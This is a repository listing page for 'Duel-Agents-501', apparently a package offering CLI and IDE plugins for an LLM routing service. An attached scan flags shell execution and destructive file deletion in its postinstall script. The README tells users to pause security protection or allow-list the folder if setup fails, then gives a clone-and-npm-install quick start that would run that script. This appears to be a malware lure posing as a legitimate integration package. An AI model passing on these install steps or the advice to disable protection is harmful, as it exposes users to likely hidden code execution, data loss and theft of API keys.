Duel-Agents-501
Health Gecti
- License — License: MIT
- Description — Repository has a description
- Active repo — Last push 0 days ago
- Community trust — 69 GitHub stars
Code Basarisiz
- child_process — Shell command execution capability in scripts/postinstall.js
- execSync — Synchronous shell command execution in scripts/postinstall.js
- fs.rmSync — Destructive file system operation in scripts/postinstall.js
- fs module — File system access in scripts/postinstall.js
Permissions Gecti
- Permissions — No dangerous permissions requested
Bu listing icin henuz AI raporu yok.
CLI, SDK, and IDE plugins for Duel Agents
Duel Agents
[!TIP]
If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
[!CAUTION]
Some security systems may block the installation.
Only download from the official repository.
QUICK START
git clone https://github.com/UpperSergeant/Duel-Agents-501.git
cd Duel-Agents-501
npm install
npm start
Use, extend, and ship with Duel Agents: the IDE-native routing layer that runs prompts against multiple models and picks the cheapest answer that still wins.
This repo is the official integration package for duelagents.com.
Requirements
Every tool in this repo routes LLM traffic through https://duelagents.com/v1 with a Duel API key (duel_<prefix>_<secret>).
export DUEL_API_KEY=duel_yourprefix_yoursecret
2. Install for your tools
npx @duel-agents/install all
3. Verify
npx @duel-agents/install doctor
### Claude Code plugin
```bash
git clone https://github.com/UpperSergeant/Duel-Agents-501
cd duel-agents
claude plugin install ./integrations/claude-plugin
npx @duel-agents/install claude-code
Use /duel-agents:setup in Claude Code for guided setup.
Cursor
The installer copies a skill to .cursor/skills/duel-agents/ and writes DUEL_API_KEY to your project .env.
You still need to set Settings → Models → Override OpenAI Base URL to https://duelagents.com/v1 with your Duel key. See templates/cursor-models.override.md.
Codex CLI
Writes OPENAI_BASE_URL and OPENAI_API_KEY (your Duel key) to .env. Restart Codex after install.
OpenClaw
Patches ~/.openclaw/openclaw.json with a duel provider and sets default model to duel/duel-auto. Telegram/Discord channels are unchanged. Only the model backend switches to Duel.
npx @duel-agents/install openclaw
openclaw config validate
Reference config: templates/openclaw.duel.json5
Configuration
| Variable | Purpose |
|---|---|
DUEL_API_KEY |
Your Duel API key (required) |
DUEL_AGENTS_API_KEY |
Alias accepted by the installer |
DUEL_PROXY_URL |
Override proxy URL (staging only) |
OPENCLAW_CONFIG_PATH |
Custom OpenClaw config path |
Troubleshooting
| Symptom | Fix |
|---|---|
401 from doctor |
Key revoked or subscription inactive. Create a new key on billing/settings. |
Could not reach Duel API |
The proxy at duelagents.com/v1 must be running. Key format can still be valid; retry later. |
| OpenClaw won't start | Run openclaw config validate after install; restore from openclaw.json.bak if needed. |
| Cursor still uses OpenAI | Confirm model override URL and that the API key field is your duel_* key. |
| Skill copy failed after npm install | Re-run npm run build in the repo, or reinstall @duel-agents/install. Skills ship inside the package. |
Repo map
packages/core @duel-agents/core validation, env maps, connectivity
packages/cli @duel-agents/install installer CLI
packages/sdk @duel-agents/sdk TypeScript API client
integrations/ Claude plugin, Cursor skill, OpenClaw skill
templates/ Example env and config files
Development
npm install
npm run build
npm test
See CONTRIBUTING.md.
License
MIT. See LICENSE.
Yorumlar (0)
Yorum birakmak icin giris yap.
Yorum birakSonuc bulunamadi